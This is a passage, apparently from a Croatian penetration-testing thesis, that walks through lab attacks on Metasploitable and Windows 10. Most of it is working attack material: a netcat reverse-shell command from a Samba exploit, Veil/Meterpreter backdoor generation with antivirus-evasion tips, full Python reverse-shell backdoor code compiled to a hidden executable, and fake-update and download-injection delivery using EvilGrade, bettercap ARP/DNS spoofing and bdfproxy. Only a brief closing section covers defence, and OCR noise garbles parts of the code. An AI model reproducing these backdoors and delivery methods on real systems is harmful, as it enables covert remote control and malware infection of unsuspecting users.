Ako unesemo naredbu show options postavimo RHOST na vrijednost IP adrese mete.
Ako ponovimo naredbu show options imamo dodatne opcije LHOST i LPORT (nasa IP
adresa i port na koji Zelimo da se meta spaja) — dobar odabir za LPORT je 80 jer je to
port koje koriste web preglednici (nije filtriran) — firewall ¢e misliti da meta pretrazuje
Internet. Nakon exploita (usermap_script) payload je izvrSen (pokrecCe netcat i stvara
konekciju prema podesenim opcijama LHOST i LPORT - pogledaj dio payloada na
slici 37 gore) i imamo pristup (slika 37). Nakon izvrSenog exploita mozemo Koristiti
naredbe unix-a koje ¢e se izvrsiti na raCunalu mete (Metasploitable-a).
command_string
backpipe = Rex::Text.rand_text_alpha_lower(:+rand(:))

"mkfifo /tmp/#{backpipe}; nc #{datastore['LHOST']} #{datastore['LPORT']}
o</ tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"

msfS exploit( ) > set LHOST 10.0.2.15
LHOST = 10.0.2.15
msf5 exploit( ) > show options
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 139 yes The target port (TCP)

Payload options (cad/unix/reverse_netcat):

Nane Current Setting Required Description

LHOST 10.0.2.15 The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

msf5 exploit( ) > exploit

Started reverse TCP handler on 10.0.2.15:4444
Command shell session 1 opened (10.9.2.15:4444 < 10.0.2.4:57379) at 2020-03-25 17:57:15 -0400

id

uid=e(root) gid«d(root)

uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686 GNU/Linux

Slika 37. Metasploit — reverse_netcat, Izvor: Izrada autora
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5.3.3. Napredniji alat za prikupljanje informacija servera, exploit i izvjestaj

U nastavku slijedi nesSto drukciji framework — Nexpose, kako bi pokrenuli alat

potrebno je deaktivirati bazu koja dolazi s instalacijom Kali Linux-a jer Nexpose koristi

svoju bazu pa kako ne bi doSlo do kolizije portova. Bazu deaktiviramo naredbom

service postgresql stop, promijenimo poziciju u direktorij cd /opt/rapid7/nexpose/nsc,

pokrenemo Nexpose s naredbom ./nsc.sh i pomoc¢u preglednika uc¢itamo URL koji smo

dobili.

Na pregledniku vidimo formu u koju unosimo podatke koje smo definirali pri

instalaciji alata i nakon uspjesne prijave unesemo licencu koja nam je poslana na mail.

Kliknemo na Create > Site i unosimo sljedece:

na kartici Info&Security unosimo ime stranice npr. ,Metasploitable®,

na kartici Assets u dijelu Include > Assets unosimo IP adresu Metasploitable
virtualke (10.0.2.4); Assets Groups nazovimo ,test,

na Kkartici Authentication pod Add Credentials > Account moZzemo dodijeliti
servisne informacije kao $to su naziv servisa, domena, korisni¢ko ime, lozinka
— kako bi se testiranje servera moglo izvrsiti; Add Web Authentication obi¢no se
koristi za napadanje web aplikacija za koje je potrebno korisni¢ko ime i lozinka
za prijavu (npr. Facebook),

na kartici Schedule pod Create schedule mozZzemo postaviti datume odnosno
vrijeme (interval) u kojem ¢e se testovi pokretati,

na kartici Templates mozemo odabrati Zeljenu vrstu skeniranja kao npr. Full
audit without Web Spider, Full audit.. Web Spider je skripta koja pronalazi sve

direktorije i datoteke Zeljenog racunala.

Kada je skeniranje zavr§eno dobivamo sljedece rezultate:

ASSETS

View details about assets, including those no longer active. To delete an asset, select a row. To delete all displayed assets, select the top row and use Select Visible. Cancel all selections using Clear All. Learn more

DELETE ASSETS REMOVE ASSET FROM SITE

v Address

Name 0s «g} $ Vulnerabilities Risk Last Scanwv

4 METASPLOITABLE Ubuntu Linux 8.04 o 168 296 163,125 Apr 6th, 2020

Showing 1to 1of 1 | .EtEc::'tt::ISu' Rows per page: 10 1

Slika 38. Nexpose — zavrSeno skeniranje, lzvor: Izrada autora

Na slici 38 vidimo da meta s IP adresom 10.0.2.4 je Metasploitable, operacijski sustav

koje je instaliran je Ubuntu 8.04, nema ni jednog malware-a, postoji 168 exploita i
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pronadeno ukupno 296 ranjivosti. Ako otvorimo taj sken, mozemo vidjeti servise pa i
programe koji su instalirani na toj masini koji nam mogu biti od koristi nakon §to smo
dobili pristup sustavu npr. poveéanje ovlasti. 1z navigacije odaberemo kategoriju

ranjivosti i dobivamo sljedece:

nexpose‘ Create Q @] username

VULNERABILITY CHARTS

= Vulnerabilities by CVSS Score

A

Exploitable Vulnerabilities by Skill Level

VULNERABILITIES @

> Apply Filters (0 applied)

Title £ L ] CVSS  CVSSv3  Riskw Published On Modified On Severity Instances Exceptions
VNC pas: 10 995 Fri Jan 011999 Tue Dec 03 2013 Critical 1 @ exluce
Shell Backdeo 10 919 ThuJan011970  Sat Jun 24 2017 Critical 1 @ Exclude
Default Tomcat User and Password ] 10 907 MonNov 092009  Tue Jun 182019 Critical 1 @ Exclude

Slika 39. Nexpose — graf ranjivosti (CVSS - rizik) i potrebno znanja za exploit,

Izvor: Izrada autora

U donjem dijelu silke 39 moZemo vidjeti ranjivosti koje mozemo sortirati. Pogledajmo

ranjivost sa slike koja ima ikonu ,M“ (oznaCava exploit od Metasploita).

Ranjivost koju smo odabrali je ,Default Tomcat User and Password koja govori da

Tomcat koristi inicijalno korisniCko ime i lozinku.

Porta  Key Proof

8180 /manager/htmil
* Running HTTP service
* Product Tomeat exists — Apache Tomeat
Based on the following 2 results:
1. HTTP GET request to http://10.0.2.4:8180/manager/html
HTTP response code was an expected 401
2. HTTP GET request to http://10.0.2.4:8180/manager/htm|

HTTP response code was an expected 200

78: <img border="0" alt="The Apache Software Foundation® align="left"
79: sre="/manager/images/asf-logo.gif'>

B0 </a=

81: <a href="http://tomcat.apache.org/"»

82:..="0" alt="The Tomcat Servlet/JSP Container’

Slika 40. Nexpose — Affects — dio tablice, Izvor: Izrada autora
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Proof pokazuje razlog zasto je meta ranjiva od strane navedenih eploita navedenih u

tablici exploita koja ima poveznice na rapid7 stranicu i opise Metasploit modula.

RjeSenja za popravljanje ranjivosti navedeno je u dijelu ,REMEDIATIONS® na toj

stranici:

VULNERABILITY ROLLUP SOLUTIONS VULMERABILITY SOLUTIONS

Change the Tomcat service administrator account password.

Configuration remediation steps

The Tomcat service has an administrator account set to a default configuration. This can be easily changed in conf/tomcat-users.xml

Slika 41. Nexpose — Remediations, Izvor: Izrada autora

|z navigacije odaberemo kategoriju izvjeStaja, zadamo mu ime, odaberemo predlozak
(npr. audit — izvjestaj s velikom detaljnom koli€ina informacija korisna programerima i
tehniCarima; executive — izvjeStaj za menadzere i ljude koji nemaju tehni€ka znanja),

format, sken i generiramo izvjestaj.
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5.4. Klijentski napadi

Vecinu vremena bolje je pristupiti meti koriStenjem serverskih napada (exploit
operacijskih sustava i aplikacija koje su na njemu instalirane), no ako takvi napadi nisu
uspjeli ili je meta ,sakrivena® iza IP adrese (ako nismo na istoj mrezi — ping ne prolazi

zato $to su sakriveni iza rutera ili mreze) pokusajmo s klijentskim napadima.

Kada govorimo o napadima na klijente zahtjeva se od korisnika da napravi akciju kao
npr. otvaranje poveznice, instalacija azuriranja, otvaranje slike, trojanskog konja i
slicno, a nakon izvrSavanja akcije imamo pristup racunalu. Prikupljanje informacija
ovdje je najbitnije jer moramo znati osobu koju imamo na meti. Za virtualnu masinu

koja predstavlja korisnika, koristit ¢emo Windows 10 operacijski sustav.

5.4.1. Kreiranje backdoora

Backdoor je skriveni softverski ili hardverski mehanizam koji se koristi za
zaobilazenje sigurnosti. Otvaranjem ovakve datoteke, uspostavlja se veza s udaljenim
racunalom koja omogucuje upravljanje tim raunalom ovisno o napisanom payloadu.
U nastavku ¢emo vidjeti kako generirati (koriste¢i Veil framework — vidi poglavlje 4.3.)

i kreirati vlastiti backdoor kojim ¢emo ostvariti vezu sa raCunalom mete (Windows 10).

5.4.1.1. Generiranje backdoor datoteka

Pomocu Veila generirati éemo payload tipa Meterpreter — payload koji se
izvrSava u RAM-u i ubacuje se u sistemske procese npr. explorer.exe, te nam pruza
potpunu kontrolu nad racunalom. TeSko ga je prepoznati i ne ostavlja mnogo tragova

(eng. footprints).

Odabrati ¢emo Meterpreter tip payloada kako bi ga mogli koristiti zajedno sa
msfconsole suceljom Metasploitable frameworka. Za pocetak preuzmimo Vell

framework koriStenjem naredbe git clone https://github.com/Veil-Framework/Veil.git.

Za pokretanje alata potrebno je instalirati nekoliko biblioteka i aplikacija, koji se nalaze
u mapi config pa tako se pozicioniramo u tu mapu i pokrenemo bash datoteku
koristenjem naredbe ./setup.sh —silent —force gdje su parametri:

= --silent (predstavlja instalaciju bez potrebe za konfiguracijom), te

= -force (ponovna instalacija alata - korisno u slu€aju pogreske).
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Pokrenemo ./Vell.py koji se nalazi u Veil direktoriju. Na pocetnom izborniku alata Veil
imamo listu naredbi koju alat pruza, a svaka od tih naredbi ukratko je opisana. Valja
napomenuti da je update naredbu potrebno izvrsiti prije koristenja use naredbe kako

bi mogli zaobiéi antivirusne programe.
Dostupna su dva alata:

= Evasion - sluZi za generiranje neprepoznatljivih backdoora
= Ordnance — generira payload — dio koda backdoora koji obavlja stvari koje mi
Zelimo kada se datoteka pokrene

Odaberimo prvi alat (Evasion) koriste¢i naredbu use 1, nakon toga mozemo Koristiti
naredbu list kako bi pogledali sve dostupne payload-e (ukupno 41 payload), svaki od
tih payload-a sastoji se od 3 dijela (programski jezik / tip payload-a / metoda za

uspostavljanje konekcije) prikazano na slici 42:

[#] Available Payloads:
autoit/shellcode_inject/flat.py
auxiliary/coldwar_wrapper.py
auxiliary/macro_converter.py
auxiliary/pyinstaller_wrapper.py

c/meterpreter/rev_http.py
c/meterpreter/rev_http_service.py

c/meterpreter/rev_tcp.py
c/meterpreter/rev_tcp_service.py

cs/meterpreter/rev_http.py
cs/meterpreter/rev_https.py
cs/meterpreter/rev_tcp.py
cs/shellcode_inject/base6&.py
cs/shellcode_inject/virtual.py

go/meterpreter/rev_http.py
go/meterpreter/rev_https.py

Slika 42. Vell - lista payloada, lzvor: Izrada autora

Koristit cemo 14. payload koji koristi programski jezik go, payload meterpreter.
Metoda za uspostavljanje konekcije je rev_http odnosno prilikom otvaranja backdoora
konekcija dolazi iz raCunala mete prema nasem raCunalu (napadacu), tako
zaobilazimo vatrozid. Koristit ¢emo port 80 ili 8080 kojeg web stranice koriste pa tako

ako meta analizira konekciju izgledat ¢e kao da se spajaju na normalnu stranicu.

Sljedec¢a naredba koju koristimo je use 14, opcija koju moramo postaviti je LHOST pa
tako upisujemo IP adresu (naredbom set LHOST 10.0.2.6) Kali Linuxa dobivenu
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naredbom ifconfig i postavimo port (naredbom set PORT 8080) i provjerimo podatke

(naredba options) pogledaj sliku 43.

[go/meterpreter/rev_http>>]: set LHOST 18.0.2.6
[go/meterpreter/rev_http>>]: set LPORT 8080

[go/meterpreter/rev_http>>]: options

Payload: go/meterpreter/rev_http selected

Required Options:

Name

BADMACS

CLICKTRACK

COMPILE_TO_EXE

CURSORCHECK

DISKSIZE

HOSTNAME

INJECT_METHOD Virtual
LHOST 10.0.2.6
LPORT 8080
MINPROCS X
PROCCHECK FALSE
PROCESSORS X
RAMCHECK FALSE
SLEEP X
USERNAME X
USERPROMPT FALSE
UTCCHECK FALSE

rootdkali:~# ifconfig

Description

Check for VM based MAC addresses

Require X number of clicks before execution
Compile to an executable

Check for mouse movements

Check for a minimum number of gigs for hard disk
Optional: Required system hostname

Virtual or Heap

IP of the Metasploit handler

Port of the Metasploit handler

Minimum number of running processes

Check for active VM processes

Optional: Minimum number of processors

Check for at least 3 gigs of RAM

Optional: Sleep "Y" seconds, check if accelerated
Optional: The required user account

Prompt user prior to injection

Check if system uses UTC time

eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
2.6 netmask 255.255.255.0 broadcast 10.0.2.255
@:27ff:feb4:9403 prefixlen 64 scopeid 0x20<link>

Slika 43. Veil — opcije, Izvor: Izrada autora

Antivirusi imaju veliku bazu hash vrijednosti (potpisa) dobivenih od datoteka malware-

a koja ne ovisi 0 nazivu datoteke i ako se takav potpis nalazi u bazi oznace ga kao

malware — black hat hakeri to zaobilaze ovu provjeru kreirajuci razne varijante

programa kao npr. mijenjanje dijela koda (polimorfan kod). U naSem slu€aju Vail to

vec¢ radi za nas, no kako bi poboljSali zaobilazenje antivirusnih programa mozemo

promijeniti opciju PROCESSORS na neku manju vrijednost pa tako upiS§emo naredbu
set PROCESSORS 1 i recimo set SLEEP 7 kako bi potpis (eng. signature) datoteke

bio drukdiji. Nakon §to smo uredili opcije, upiSemo naredbu generate koja generira

backdoor i nakon toga upiSemo Zeljeni naziv backdoora (rev_http_8080). Datoteka je

generirana na lokaciji koja je oznaCena na slici 44.

Language: go

Payload Module: go/meterpreter/rev_http

SEHNE IR SR a - IO HE/var/1ib/veil/output/compiled/rev_http_8080.ex

Source code written to: /var/lib/veil/output/source/rev_http_8080.go
[#] Metasploit Resource file written to: /var/lib/veil/output/handlers/rev_http_8080.rc

VeilFramework

Slika 44. Veil — generirani backdoor, Izvor: Izrada autora
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Sada mozemo provjeriti efikasnost ovog programa na NoDistribute ili AntiScan web
aplikaciju te odaberemo nasu generiranu datoteku i kliknemo na ,Scan File®. Ako i
nakon promjene opcija i dalje imamo detekciju virusa (17/35) to znaci da su ti

antivirusni programi azurirali svoju bazu.

Potrebno je rucno otvoriti port na Kali masini, otvorimo Metasploit naredbom
msfconsole u kojem c¢emo koristiti modul koji sluSsa nadolazece konekcije od
meterpreter payloada naredbom use exploit/multi/handler i ako upiSemo show options
vidimo koji je payload postavljen. Payload promijenimo na onaj koji smo prethodno
kreirali (rev_http) naredbom set PAYLOAD windows/meterpreter/reverse_http i sada
mozemo vidjeti Payload options i postavimo LHOST i LPORT na naSu IP adresu i
LPORT na 8080 kao i kod prethodno kreiranog backdoora.

msf5 exploit( )} > set LHOST 10.06.2.6
LHOST = 10.0.2.6

mst5 exploit( ) > set LPORT 8088
LPORT = 8080

msf5 exploit( ) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (windows/meterpreter/reverse_http):

Name Current Setting Required Description

EXITFUNC process Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.0.2.6 yes The local listener hostname

LPORT 8080 yes The local listener port

LURI no The HTTP Path

rootdkali:~# ifconfig
eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1580
inet 18.0.2.6 netmask 255.255.255.@ broadcast 10.0.2.255

Slika 45. Veil — Metasploit payload opcije, Izvor: Izrada autora
Izvr§imo naredbu exploit za ¢ekanje nadolazece konekcije.

U ovom djelu ruéno ¢emo deaktivirati Windows Defender jer trenutna verzija
backdoora je detektirana, u poglavlju 5.4.1.2. vidjeti ¢emo primjer naseg backdoora

koji Ce izbjeci ove detekcije.

Sada ¢emo testirati funkcionalnosti backdoora, za prenosenje datoteke s Kali masine

na Windows pokrenuti cemo Web server na Kali masini kako bi mogli preuzeti datoteku
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na Windows masini. Web server pokrenemo naredbom service apache2 start i nakon

toga u pretrazivaC Windowsa upiSemo IP adresu Kali masine.

Preuzmimo datoteku rev_http _8080.exe i pokrenimo ju, kada je datoteka pokrenuta i
konekcija je uspostavljena mozemo Koristiti bash naredbe i naredbe meterpretera
(unesemo naredbu help kako bi dobili listu naredbi).

msf5 exploit( ) » exploit

Started HTTP reverse handler on http://10.0.2.6:8880
http://10.0.2.6:8080 handling request from 10.0.2.15; (UUID: vkmlie66) Staging x86 payload (181337 bytes) ...
Meterpreter session 1 opened (10.0.2.6:8080 — 10.0.2.15:54252) at 2020-04-11 06:06:21 -0400

meterpreter > ||

Slika 46. Uspostavljena konekcija, Izvor: Izrada autora
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5.4.1.2. Kreiranje vlastitog backdoora

Prethodno smo vidjeli dva framewoka za kreiranje straznjih vrata (eng.
backdoor), no nisu bili efikasni u izbjegavanju detekcije od strane antivirusa.
Najefikasniji naCin za izbjegavanje antivirusnih programa je pisanjem vlastitog
programa. Sada ¢emo prikazati primjer jednostavnog backdoora pisanog u Python-u.
Skripte su kreirane uz pomo¢ primjera i video materijala dostupnih na Internetu. [9, 10]
Potrebno je kreirati dvije Python skripte server.py, client.py. Ideja je ista kao i ranije,
klijent (meta) trazi konekciju na raCunalo napadaca i nakon toga Ceka podatke
(naredbe) koje ¢e izvrSiti ovisno kako smo isprogramirali izvrSavanje tih komandi.
Server.py je skripta koju najprije pokrecemo na raCunalu napadaca te sluzi za ¢ekanje
konekcije, spajanje na konekciju i slanje naredbi raCunalu mete koje je pokrenulo
client.py skriptu.
#! fusr/bin/python3.8

socket

sys

BUFF_SIZE =

host = "'
port =
s = socket.socket()
socket.error msg:
yrint("Socket creation error " + str{msg))

():

srint("Binding socket to port " + str(port))
s.bind((host, port))
s.listen(5) #number of connections
socket.error msg:
yrint("Socket binding error: " + str(msg) + "‘rRetrying..")
socket bind() #recursion

():
conn, addr = s.accept() #wating for a connection
orint{"Connection has been established! | IP: " + addr[0] + " | PORT: " + str{addr[1]))
send commands(conn)
conn.close()

Slika 47. Uspostavljanje konekcije — skripta server.py, Izvor: Izrada autora

Na slici 47 vidimo glavne metode potrebne za uspostavljanje konekcije, host je

postavljen na prazno odnosno isto kao da smo napisali svoju IP adresu (Kali masina -
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napadac), port smo proizvoljno postavili na 9999, listen govori serveru da prisluskuje
nadolazece konekcije (argument 5 — broj neprihvacenih konekcija koje ¢e se dozvoliti
prije nego Sto se odbiju bilo koje nove konekcije). Nakon $to socket osluskuje

nadolazece konekcije, funkcija socket_accept() prihva¢a novu konekciju.

(conn}:

cmd = input() #our input co

cmd = 'quit':

conn.close()

s.close()

sys.exit()
cmd_byte = str.encode(cmd) #to byte

len(cmd_byte) >

conn.send(cmd_byte)

client_response = str{conn.recv(BUFF_SIZE), "utf-8")

irint{client_response, end="") #no new line

():
socket_init()
socket_bind()
socket_accept()

main( )

Slika 48. Slanje naredbi — skripta server.py nastavak, Izvor: Izrada autora

Funkcija send_commands() sluzi za slanje naSeg unosa tipkovnice skripti client.py,
ako unesemo quit zatvaramo konekciju. Inae pretvaramo naredbu u byte array i

Saljemo ju meti koji o¢ekuje naredbu (paket) i nakon toga ¢ekamo njen odgovor.

0s
socket
subprocess

BUFF_SIZE =

s = socket.socket()
host = '10.0.2.6"

port =
s.connect((host,port))

data = s.recv(BUFF_SIZE)
data_str = data.decode("utf-8")

data_str[:2] = 'cd':

os.chdir(data_str[3:])

len(data) >

cmd = subprocess.Popen(data_str[:], shell= , stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
= cmd.stdout.read() + cmd.stderr.read()
(output_bytes, "utf-8")
ncode(output + str(os.getcwd()) + '> '))

s.close()

Slika 49. Skripta client.py, lzvor: Izrada autora
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Mozemo vidjeti da se meta (klijent) spaja na IP adresu napadaca (Kali masine) na isti
port koji smo postavili u server.py skripti. Stalno o€ekuje novu naredbu i obraduje ju s
modulima os i subprocess te na kraju rezultate Salje napadacu (Kali masSini). Ako
Zelimo dodatne funkcionalnosti koje nam pruza Meterpreter, skripte treba modificirati,
u client.py skripti mozemo napraviti funkcije za obradu podataka na drukciji nacin pa

tako i obradu nadolazecih paketa na server skripti.

Skriptu client.py poslali smo i pokrenuli pomoc¢u pythona na strani mete, a kako bi
sakrili naredbeni redak (CMD) ekstenziju zamjenimo u .pyw. Kako bi kreirali .exe
datoteku u Windowsu, instaliramo Pylnstaller te otvorimo naredbeni redak i
pozicioniramo se u mapu gdje se datoteka .pyw nalazi. UpiSemo naredbu pyinstaller -
w -F client.pyw, parametar -w sluzi kako se konzola ne bi prikazala na ekranu, a
parametar -F za kreiranje jedne .exe datoteke bez ostalih datoteka. Takoder postoji i
parametar -i [putanja] koji sluzi za specificiranje slike koja ¢e se pojaviti za ikonu.

Datoteku prenesimo na Kali maSinu za daljnje koriStenje.

U sljedec¢em poglavlju vidjet ¢emo nacine dostave/instalacije datoteke na racunalo

mete.

5.4.2. Man in the middle napad

MitM napad dogada se kada se haker ubacuje izmedu komunikacije klijenta i
posluzitelja. U nastavku pokazati ¢emo na koji nacin mozemo ostvariti ovakav napad i
kako dostaviti backdoor meti laznim azuriranjem ili preuzimanjem bilo koje .exe

datoteke koja se preuzima na http protokolu.

5.4.2.1. Dostavljanje datoteke klijentu - lazno azuriranje

Prikazat ¢emo kako datoteku mozZemo instalirati na klijentsko racunalo
postavljanjem laznog aZuriranja odnosno napravit ¢emo spoofing napad. Programi
obi¢no imaju specificiranu domenu kako bi provjerili da li su aZzuriranja dostupna, na
primjer domena updateServer.com zahtjev se Salje DNS serveru koji odgovara s IP
adresom updateServera. Tada klijent (korisnik) Salje direktan zahtjev prema tom
serveru trazeéi azuriranja, ako su azuriranja dostupna taj server Salje aZuriranja

klijentu.
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Ako koristimo man in the middle napad primamo zahtjeve i odgovore od Klijenta i
updateServer.com-a. Ako dobijemo zahtjev mete (klijenta) prema updateServer.com
tada vratimo IP adresu servera napadaca (Kali masine) na kojem je pokrenut program
EvilGrade koji se pretvara da je updateServer.com i umjesto datoteke azuriranja vraca
prethodno kreirani backdoor kojeg korisnik pokrece misle¢i da je aZuriranje.
Preuzmimo EvilGrade koriste¢i naredbu apt-get install isr-evilgrade. Pokrenimo
Evilgrade sa naredbom ./evilgrade, za dobivanje liste modula (ukupno 67) odnosno
programa koji su dostupni upiSemo naredbu show modules. Radi prezentacije koristit
¢emo program DAP (eng. Download Accelerator Plus), upiSemo naredbu configure

dap kako bi koristili modul za taj program. Pogledajmo sada dostupne opcije (slika 50).

evilgrade>configure dap
evilgrade(dap)>show options

Displ

Name = Download Accelerator

Version = 1.0

Author = ["Francisco Amato < famato +[AT]+ infobytesec.com>"]
Description = ""

VirtualHost

"(update.speedbit.com)"”

failsite ww . speedbit.com/finishupdate.asp?noupdate=&R=0 | Website display when did't finish update
title Critical update Title name display in the update
description | This critical update fix internal vulnerability | Description display in the update
agent ./agent/agent.exe Agent to inject
endsite update.speedbit.com/updateok.html Website display when finish update
enable Status

e ——— T O i

Slika 50. EvilGrade opcije, lzvor: I1zrada autora

Opciju agent promijenimo u putanju datoteke backdoor (kreirana u poglavlju 5.4.1.2.)
koristimo naredbu set agent /var/www/html/evil-files/backdoor/client.exe. Nadalje
mijenjamo endside (stranica koja je ucitana kada je instalacija uspjeSna) — ovdje
mozemo specificirati putanju do svoje stranice, ali kao primjer postavimo proizvoljnu
naredbom set endsite www.speedbit.com i upiSemo naredbu start za pokretanje

EvilGradea. Ako postoji azuriranje sada EvilGrade dostavlja datoteku kao aZuriranje.

spoof.cap o0

File Edit Search Options Help

net.probe on
set arp.spoof.fullduplex true
set arp.spoof.targets 10.0.2.15
arp.spoof on
set net.sniff.local true
net.sniff on .
Slika 51. Caplet datoteka — opcije i parametri, Izvor: Izrada autora
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Nakon kreirane spoof datoteke koja sadrzi opcije i parametre koje bettercap koristi.
Koristimo bettercap kako bi postali man in the middle upisivanjem naredbe bettercap
-iface ethO -caplet /root/spoof.cap (ethO suclelje spojeno na mrezu, spoof caplet
pokrecCe arp spoof napad). Svaki put kada meta pokuSa neSto preuzeti vidimo taj

zahtjev na konzoli.

Sada u bettercapu trebamo lazirati (spoof) DNS zahtjeve na vrijednost VirtualHost kao
na slici 52 (update.speedbit.com — domena prethodno odabranog programa za

provjeravanje azuriranja) kako bi im se vratio IP Kali maSine umjesto aZuriranja.
Sada u terminalu gdje je upaljen bettercap upiSemo sljedec¢e naredbe:

= set dns.spoof.all true (odgovaramo na svaki DNS zahtjev mete)
= set dns.spoof.domains update.speedbit.com (domena koju laziramo)

= dns.spoof on (pokretanje DNS spoofa)

» set dns.spoof.all true
» set dns.spoof.domains update.speedbit.com
» dns.spoof on

update.speedbit.com — 10.0.2.6

Slika 52. Laziranje domene prema Kali masini (10.0.2.6), lzvor: Izrada autora

Kali mas$ina ima pokrenut EvilGrade koji ¢e odgovoriti da postoji azuriranje pritom
Saljuc¢i nas backdoor koji ¢e biti automatski pokrenut. Pokrenimo jo$ i skriptu server.py
koja je kreirana u poglavlju 5.4.1.2. kako bi na§ backdoor mogao funkcionirati.
Pokrenimo sada azuriranje u programu na virtualnoj masSini koja ima instalirani

odabrani program (DAP).

U DAP Update - X

Update search results

Description Version Size
9931.9379.3.8 | 9.28 MB

Product description:

This critical update fix internal vulnerability

Slika 53. DAP — Azuriranje programa, lzvor: Izrada autora
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Usporedite sliku 53 sa slikom 50, vrijednosti su iste, nakon instalacije ,aZuriranja“

skripta je pokrenuta na racunalu mete.

evilgrade(dap)>
[12/4/2020:14:35:47] - [WEBSERVER] - [modules::dap] - [18.8.2.15] - Agent sent: "/var/www/html/evil-files/backdoor/
client.exe"

evilgrade(dap)>|

rootakali:/var/ww /html/evil-files/backdoor# ./server.p

> 10.0.2.6 RSUHCLETY T .http.re y

quest] MSEDGEWIN1@.local update.spe it. Binding socket to port 9999

apupdateh9zn5. exe Connection has been established! | IP: 10.6.2.15 | PORT
BV » [14:35:47] [net.s f.http.re 1 50077
local:80 200 OK — MSEDGEWIN1@.local (@ B dir

Volume in drive C is Windows 1@
> 10.0.2.6 EEBUETH YINT 1iff.mdns] M Volume Serial Number is B4A6-FEC6
dns MSEDGEWIN1@8.local : MSEDGEWIN1@.local is fe8@::ched
:519f:96a4:e108, 10.0.2.15 Directory of C:\Program Files (x86)\DAP
> 10.0.2.6 EEBUETH YINT f.mdns] W
dns MSEDGEWIN1@.local : Unknown query for GEWIN1@.1 04/12/2020 11:36
ocal 04/12/2020 11:36
BEECICPN » [14:37:42] [net.sniff.mdns 07/20/2014 ©1:24
dns MSEDGEWIN1@.local : MSEDGEWIN1@.1 i 04/12/2020 11:18
:519f:96a4:2108, 10.0.2.15 04/12/2020 11:18
> 10.0.2.6 RMSUHCYEYYMT f.mdns 04/12/2020 11:18
dns MSEDGEWIN1@.local : Unknown query f MSEDGEWIN1@.1 04/12/2020 11:18
ocal 04/12/2020 11:19

> 10.0.2.6 S 04/12/2020 11:18

<DIR>
<DIR> .
185,064 cabex.dll
610 Cancel.gif
35,152 comtest.gif
776 config.json
4,242 064 DAP.exe
<DIR> DAPChrome
46,256 DAPConf.exe

EEZEE222Z22

Slika 54. Konekcija s raCunalom — uspjesno uspostavljena, Izvor: Izrada autora

5.4.2.2. Dostavljanje datoteke klijentu - backdoor u exe

Zamislimo scenarij u kojem osoba Zeli preuzeti .exe datoteku putem preglednika
s prefiksom http, npr. http://www.speedbit.com — DAP program. Prikazat cemo kako
toj osobi mozemo dostaviti zeljeni program (DAP) kojeg preuzima odnosno .exe

datoteku koja ¢e u sebi sadrzavati i backdoor.

Koristit ¢emo BackdoorFactoryProxy (bdfproxy) koji ¢e ubaciti specificiranu datoteku
(backdoor) u bilo koju .exe datoteku koju meta preuzima na svoje racunalo. BdfProxy
mijenja podatke koji se prenose meti prilikom njenog prijenosa.

Kada smo instalirali program, potrebno je izmijeniti konfiguracijsku datoteku
bdfproxy.cfg — zamijenimo vrijednosti parametara: proxyMode iz regular u transparent.
Takoder potrebno je podesiti IP adresu napadaca (Kali maSine) u parametru HOST
ovisno o operacijskom sustavu mete. U nasem slucaju to je Windows pa tako u dijelu
[[WindowsIntelx86]] i x64 promijenimo HOST na IP adresu napadaca (Kali maSine)

10.0.2.6 (ifconfig), a za PORT postavimo 8080 na kojem ¢e program sluSati promet.

Datoteka konfiguracije inicijalno ima postavke za generiranje backdoora (kao u
poglavlju 5.4.1.), a taj backdoor prepoznat je od strane antivirusnih programa. Kako

bi izbjegli detekciju mozemo ga zamijeniti viastitim, tj. koristit ¢emo prethodno kreirani
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backdoor (client.exe iz poglavlja 5.4.2.). Promijenimo vrijednosti PATCH_METHOD u
onionduke i SUPPLIED_BINARY u putanju do naseg backdoora - /var/www/html/evil-

files/backdoor/client.exe.

Kada smo postavili konfiguracijsku datoteku, pozicioniramo se u mapu gdje se
program nalazi i pokrenemo ga naredbom ./bdf_proxy.py. Kada program dobi zahtjev
za .exe on Ce u njega postaviti backdoor. Za sada program (BackdoorFactoryProxy)
ne moze dobiti zahtjev, tako da moramo usmijeriti zahtjeve njemu. Kako bi usmijerili
pakete koristimo man in the middle napad. Koristit cemo metodu kao i u poglavlju
5.4.3. koristeCi bettercap pokretanjem naredbe u novom terminalu bettercap -iface
ethO -caplet /root/spoof.cap. Sada moramo povezati podatke koje bettercap vidi sa
bdfproxy programom. Koristit éemo firewall (iptables) koji dolazi s Linuxom kako bi

specificirali pravila koje paketi moraju postivati.

U novi terminal unesemo naredbu iptables -t nat -A PREROUTING -p tcp —destination-
port 80 -j REDIRECT —to-port 8080.

Parametri iptables:

= -t nat (modificiranje tablice nat)

= -A PREROUTING -p tcp --destination-port 80 (nadodavanje pravila
preusmjeravanja koji vrijedi za TCP pakete koji idu na port 80)

* -j REDIRECT —to-port 8080 (preusmijeri prethodne pakete na port 8080 na

kojem bdfproxy ¢eka za ubacivanje backdoora)

Uspostavili smo vezu izmedu bettercapa i bdfproxy programa pomocu iptables.
BackdoorFactoryProxy (bdfproxy) ¢eka za preuzimanje bilo koje .exe datoteke u koju
ubacuje specificiranu datoteku backdoora i dostavlja ga meti. SluSamo nadolazece

konekcije i pokre¢emo skriptu server.py u novom terminalu.

Ako meta sada preuzme bilo koju .exe datoteku preko pretrazivaca i pokrene ju,
uspostavit cemo konekciju odnosno izvrSio se backdoor kao i Sto se instalacija zeljenog

programa pokrenula.
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5.4.2.3. Zastita od man in the middle napada

Prethodno vidjeli smo kako lako netko moze dobiti pristup naSem racunalu
koriStenjem napada man in the middle — ti napadi su funkcionalni ako stranica
programa ima prefiks http umjesto https. Takoder potrebno je provjeriti CA (eng.
Certificate authority) kojeg stranica koristi. Potrebno je koristiti samo stranice i

aplikacije koje ustanovimo da su vjerodostojne.

U poglavlju 5.2.3.3. detaljnije je opisano kako se mozemo zastititi od ARP i MITM
